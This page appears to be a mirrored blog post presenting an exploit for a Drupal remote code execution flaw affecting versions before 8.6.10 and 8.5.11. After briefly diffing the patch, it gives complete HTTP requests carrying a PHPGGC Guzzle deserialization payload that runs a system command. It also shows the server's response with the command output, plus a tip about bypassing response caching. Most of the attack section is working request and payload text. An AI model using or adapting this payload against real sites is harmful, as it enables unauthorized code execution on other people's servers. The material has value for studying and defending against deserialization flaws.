zoukankan      html  css  js  c++  java
  • [EXP]Drupal < 8.6.10 / < 8.5.11

    Analyzing the patch
    By diffing Drupal 8.6.9 and 8.6.10, we can see that in the REST module, FieldItemNormalizer now uses a new trait, SerializedColumnNormalizerTrait. This trait provides the checkForSerializedStrings() method, which in short raises an exception if a string is provided for a value that is stored as a serialized string. This indicates the exploitation vector fairly clearly: through a REST request, the attacker needs to send a serialized property. This property will later be unserialize()d, thing that can easily be exploited using tools such as PHPGGC. Another modified file gives indications as to which property can be used: LinkItem now uses unserialize($values['options'], ['allowed_classes' => FALSE]); instead of the standard unserialize($values['options']);.
    
    As for all FieldItemBase subclasses, LinkItem references a property type. Shortcut uses this property type, for a property named link.
    
    Triggering the unserialize()
    Having all these elements in mind, triggering an unserialize is fairly easy:
    
    GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
    Host: 192.168.1.25
    Content-Type: application/hal+json
    Content-Length: 642
    
    {
      "link": [
        {
          "value": "link",
          "options": "<SERIALIZED_CONTENT>"
        }
      ],
      "_links": {
        "type": {
          "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
        }
      }
    }
    Since Drupal 8 uses Guzzle, we can generate a payload using PHPGGC:
    
    $ ./phpggc guzzle/rce1 system id --json
    "O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"u0000GuzzleHttp\Psr7\FnStreamu0000methods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"u0000GuzzleHttp\HandlerStacku0000handler";s:2:"id";s:30:"u0000GuzzleHttp\HandlerStacku0000stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"u0000GuzzleHttp\HandlerStacku0000cached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}"
    We can now send the payload via GET:
    
    GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
    Host: 192.168.1.25
    Content-Type: application/hal+json
    Content-Length: 642
    
    {
      "link": [
        {
          "value": "link",
          "options": "O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"u0000GuzzleHttp\Psr7\FnStreamu0000methods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"u0000GuzzleHttp\HandlerStacku0000handler";s:2:"id";s:30:"u0000GuzzleHttp\HandlerStacku0000stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"u0000GuzzleHttp\HandlerStacku0000cached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}"
        }
      ],
      "_links": {
        "type": {
          "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
        }
      }
    }
    To which Drupal responds:
    
    HTTP/1.1 200 OK
    Link: <...>
    X-Generator: Drupal 8 (https://www.drupal.org)
    X-Drupal-Cache: MISS
    Connection: close
    Content-Type: application/hal+json
    Content-Length: 9012
    
    {...}uid=33(www-data) gid=33(www-data) groups=33(www-data)
    Note: Drupal caches responses: if you're in a testing environment, clear the cache. If not, try another node ID.
                
  • 相关阅读:
    webpack4系列之 【2. 踩坑--webpack 2.x升级至4.x】
    计算月份差方法封装
    局域网内访问另一台电脑上运行的代码
    npm遇到的问题--npm install 执行报错 /bin/git submodule update -q --init --recursive
    功能说明书
    第一次结对作业
    MathExam
    第一次作业
    2017《Java预备作业》02 计科1501 李晓燕
    2017《Java技术》预备作业 计科1501 李晓燕
  • 原文地址:https://www.cnblogs.com/k8gege/p/10533512.html
Copyright © 2011-2022 走看看